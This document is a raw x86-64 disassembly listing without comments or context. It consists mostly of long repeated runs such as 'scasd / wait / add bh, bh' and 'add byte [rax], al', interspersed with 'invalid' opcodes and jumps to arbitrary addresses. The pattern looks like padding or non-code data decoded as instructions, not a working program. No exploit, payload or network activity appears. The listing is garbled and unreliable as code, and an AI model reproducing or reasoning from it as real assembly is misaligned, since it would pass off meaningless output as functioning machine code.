div ebp
out 0xff, al
div ebp
out 0xff, al
div ebp
out 0xff, al
div ebp
out 0xff, al
div ebp
out 0xff, al
rol bh, cl
jo 0x14001e6e7
jmp [rdi - 0x5000ff65]
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
scasd eax, dword [rdi]
wait
add bh, bh
inc ebp
mov cl, 0x2e
inc ebp
mov cl, 0x2e
inc ebp
mov cl, 0x2e
inc ebp
invalid
mov cl, 0x2e
inc ebp
mov cl, 0x2e
inc ebp
mov cl, 0x2e
inc ebp
mov cl, 0x2e
inc ebp
mov cl, 0x2e
inc ebp
invalid
inc ebp
mov cl, 0x2e
inc ebp
mov cl, 0x2e
inc esp
invalid
mov dl, 0x2c
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jne 0x14001e8d7
jne 0x14001e863
push qword [rbp + 0x75]
jne 0x14001e8db
jne 0x14001e867